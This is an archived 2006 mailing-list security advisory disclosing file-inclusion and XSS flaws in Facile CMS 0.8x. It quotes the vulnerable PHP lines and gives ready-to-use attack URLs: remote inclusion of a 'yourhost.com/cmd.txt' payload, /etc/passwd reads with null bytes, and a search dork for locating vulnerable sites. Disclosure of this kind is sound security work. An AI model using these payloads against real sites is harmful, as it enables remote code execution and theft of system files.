bugtraq - Advisory: F@...e Interactive Web <= 0.8x Multiple Remote Vulnerabilities.

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060528170000.pvl68g6i415sk08k@webmail.nukedx.com>
Date: Sun, 28 May 2006 17:00:00 +0300
From: Mustafa Can Bjorn IPEKCI <nukedx@...edx.com>
To: submit@...w0rm.com, full-disclosure@...ts.grok.org.uk,
	bugtraq@...urityfocus.com, raffaele@...ile-web.it
Subject: Advisory: F@...e Interactive Web <= 0.8x Multiple
	Remote Vulnerabilities.


--Security Report--
Advisory: F@...e Interactive Web <= 0.8x Multiple Remote Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 05:57 PM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@...edx.com
Web: http://www.nukedx.com
}
---
Vendor: Facile (http://www.facile-web.it/)
Version: 0.8.5 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to  
Facile CMS.Parameter l
in p-popupgallery.php did not sanitized before using it.You can find  
vulnerable code in p-popupgallery.php at line 28
-Source in p-popupgallery.php-
28: include ("$l/p-lang-base.php");
-End of source-
This can be caused to remote attacker include internal and external  
files to p-popupgallery.php.
If magic_quotes_gpc off remote attacker can include internal files.
If allow_url_fopen on remote attacker can include external files.
This work regardless of any register_globals value.That vulnerability  
is in 0.8.41 - 0.8.5
All other vulnerabilities works on version 0.8x..
There is another file inclusion vulnerabilities in p-editpage.php and  
p-editbox.php.The parameter pathfile did not
sanitized properly.Remote attacker can include arbitrary local files  
to these scripts.In php5 remote attacker also
include external resources too.This works with register_globals on.
Vulnerable codes in both files can be found at lines 20-21.
-Sources in both-
20: if(isset($pathfile) && is_file($pathfile)){
     include("$pathfile");
-End of source-
There is another file inclusion vulnerabilities in themes.All themes  
are vulnerable to include arbitrary local files.
This also be caused to XSS.Parameters mytheme and myskin did not  
sanitized properly before using them.LFI works with
magic_quotes_gpc off.
Vulnerable files are:
p-themes/lowgraphic/index.inc.php
p-themes/classic/index.inc.php
p-themes/puzzle/index.inc.php
p-themes/simple/index.inc.php
p-themes/ciao/index.inc.php
Remote attacker also disclose local resources.The parameter lang in  
index.php did not sanitized properly before using it.
This works with magic_quotes_gpc off.
Level: Highly Critical
---
How&Example:
GET -> http://[victim]/[FacilePath]/p-popupgallery.php?l=[FILE]
EXAMPLE ->  
http://[victim]/[FacilePath]/p-popupgallery.php?l=http://yourhost.com/cmd.txt?
EXAMPLE -> http://[victim]/[FacilePath]/p-popupgallery.php?l=/etc/passwd%00
GET -> http://[victim]/[FacilePath]/p-editbox.php?pathfile=[FILE]
EXAMPLE -> http://[victim]/[FacilePath]/p-editbox.php?pathfile=/etc/passwd
EXAMPLE ->  
http://[victim]/[FacilePath]/p-editbox.php?pathfile=\\192.168.1.1\file.php <-  
php5
GET -> http://[victim]/[FacilePath]/p-editpage.php?pathfile=[FILE]
EXAMPLE -> http://[victim]/[FacilePath]/p-editpage.php?pathfile=/etc/passwd
EXAMPLE ->  
http://[victim]/[FacilePath]/p-editpage.php?pathfile=\\192.168.1.1\file.php <-  
php5
GET ->  
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=[FILE]
EXAMPLE ->  
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=/etc/passwd%00
GET ->  
http://[victim]/[FacilePath]/p-themes/THEME/index.inc.php?mytheme=XSS&myskin=XSS
GET -> http://[victim]/[FacilePath]/index.php?mn=0&pg=0&lang=[FILE]
EXAMPLE ->  
http://[victim]/[FacilePath]/index.php?mn=0&pg=0&lang=/etc/passwd%00
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
---
Exploit: http://www.nukedx.com/?getxpl=35
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=35
---
Dorks: "Powered by F@...e Interactive Web"



_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/